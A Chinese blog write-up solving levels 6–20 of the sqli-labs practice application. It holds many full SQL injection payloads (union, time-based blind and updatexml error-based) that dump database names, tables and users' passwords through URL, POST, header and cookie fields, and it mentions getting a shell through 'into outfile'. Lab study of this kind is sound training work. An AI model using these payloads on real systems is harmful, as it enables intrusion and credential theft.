Sql-labs(6-20)

文章详细介绍了在一系列的Less级别中,如何通过SQL注入技术进行数据库信息的探测和爆破,包括利用回显、时间盲注、错误注入等方法,涉及到数据库名、表名、列名以及内容的猜测和查询。同时也展示了不同类型的SQL注入攻击,如单引号、双引号、POST提交数据等场景下的应对策略。
摘要由CSDN通过智能技术生成

Less-6

重要源码

可以发现与上一题结果相同

判断回显位

没有回显

爆破数据库

爆破数据表

爆破users表的列

查询相关数据

修改limit 0,1为1,1 2,1 ...... 即可

Less-7

重要源码

判断显示位

发现没有回显

页面显示Use outfile

我们知道,select查询可以对文档有操作:

  读取文档:load_file()

  导出文档:into outfile()

这里应该是想让我们利用outfile的文档来查看回显,也可以选择outfile一句话木马来getshell。

虽然报错,但是打开目的文件我们发现已经存在文件test.php了

Less-8

判断回显位,发现并没有回显

爆破数据库

发现报错注入没有回显

我们采用延时注入。拿下面的案例而言,如果字符串hello的首字母的ASCII码大于120的话那么延时十秒,否则输出1。

select if(ascii(substring("hello",1,1))>120,sleep(10),1);

利用此原理,猜解数据库名

?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+

发现页面多延迟10s,说明猜解正确

其中ASCII码中的第115个为“s”

同理猜解第二个,为“e”

?id=1' and if(ascii(substring(database(),2,1))=101,sleep(10),1)--+

......

最终获得数据库名为“security”

猜解表名

?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+

第一个表的第一个字母为“e”(ASCII码第101位)

修改limit 0,1即可获得第二个,第三个表名

猜解字段与前面相同,只需要将table_name改为column_name以及information_schema.tables改为information_schema.columns

猜内容

?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+

与猜解表名相同

Less-9

通过简单的测试,发现无论如何页面都没有回显,只显示You are in......

所以我们使用时间盲注

之后的操作与Less-8类似,这里不再重复

Less-10

与上一题同理,只不过是单引号变成双引号

Less-11

从本关开始,使用post提交数据

使用万能密码进行尝试

判断字节数

判断显示位

爆破数据库

-1' union select 1,database() #

爆破数据表

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

爆破users表的列

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

爆破用户名和密码

-1' union select 1,group_concat(username,':',password) from users #

Less-12

重要源码

与Less-11相似

直接爆破数据库

-1") union select 1,database() #

仅仅只有-1")与上一题不同,其余步骤均与Less-11相同

Less-13

重要源码

发现登录成功但是没有回显

我们采用时间盲注

猜解数据库

admin') and if(ascii(substring(database(),1,1))=115,sleep(10),1) #

猜解数据表

admin') and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1); #

猜内容

admin') and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1); #

Less-14

与上一题相似,没有回显

构造方式不同

猜解数据库

admin" and if(ascii(substring(database(),1,1))=115,sleep(10),1) #

猜解数据表

admin" and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1); #

猜内容

admin" and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1); #

Less-15

与上一题相似,没有回显

只需要将admin后面的 " 改为 '

其余步骤与Less-14相同

Less-16

只需要将admin后面的符号改为 ")

其余步骤与Less-14相同

Less-17

这一关有点不一样,是修改密码

substr()函数:返回字符串的一部分。相当于输入的对长度进行限制

stripslashes() 函数:删除其中的反斜杠

ctype_digit()函数:做纯数字检测

mysqli_real_escape_string()函数:对字符串中的特殊字符进行转义,以使得这个字符串是一个合法的 SQL 语句。

intval() 函数:获取变量的整数值

这里相当于对输入的User Name做了严格的过滤,所以我们尝试对New Password进行注入

尝试使用时间盲注

admin' and if(ascii(substring(database(),1,1))=115,sleep(10),1) #

发现页面并没有延迟

再尝试报错注入

admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

爆破数据表

admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

爆破users表的列

admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) #

查询有关数据

admin' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) #

换一种方法

admin' and updatexml(1,concat(0x7e,(select username from (select username from users limit 0,1)test),0x7e),1) #

通过修改limit即可爆出所有用户名

通过用户名爆破密码

admin' and updatexml(1,concat(0x7e,(select username from (select username from users where username='admin' limit 0,1)test),0x7e),1) #

Less-18

首先进行简单测试,发现会返回IP和User Agent

识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

通过源码可以得知,这里的Username和Password都进行了过滤

看到

所以需要先输入正确的账号和密码,随后处理User Agent部分

发现报错,可能存在注入

尝试报错注入

'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'

爆破数据表

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or'

爆破users表的列

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) or'

查询有关数据

'or updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1) or'

回显有限,也可以,修改limit即可

' or (updatexml(1,concat(0x7e,(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1),0x7e),1)) or ' 

Less-19

与上一题类似,本题显示Referer

Referer是 HTTP 头的一个字段,用于告诉服务器该网页是从哪个页面链接过来的。

爆破数据库

'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'

爆破数据表

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or'

爆破users表的列

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) or'

查询有关数据

' or (updatexml(1,concat(0x7e,(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1),0x7e),1)) or '

具体步骤与Less-18相似,只是修改的地方不同

Less-20

使用admin,admin尝试

点击Delete Your Cookie退出

修改cookie改为admin',刷新页面,发现报错

判断字段数

判断显示位

爆破数据库

' union select 1,2,database() #

爆破数据表

' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' #

爆破users表的列

' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #

爆破用户名和密码

' union select 1,2,group_concat(username,':',password) from users #
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值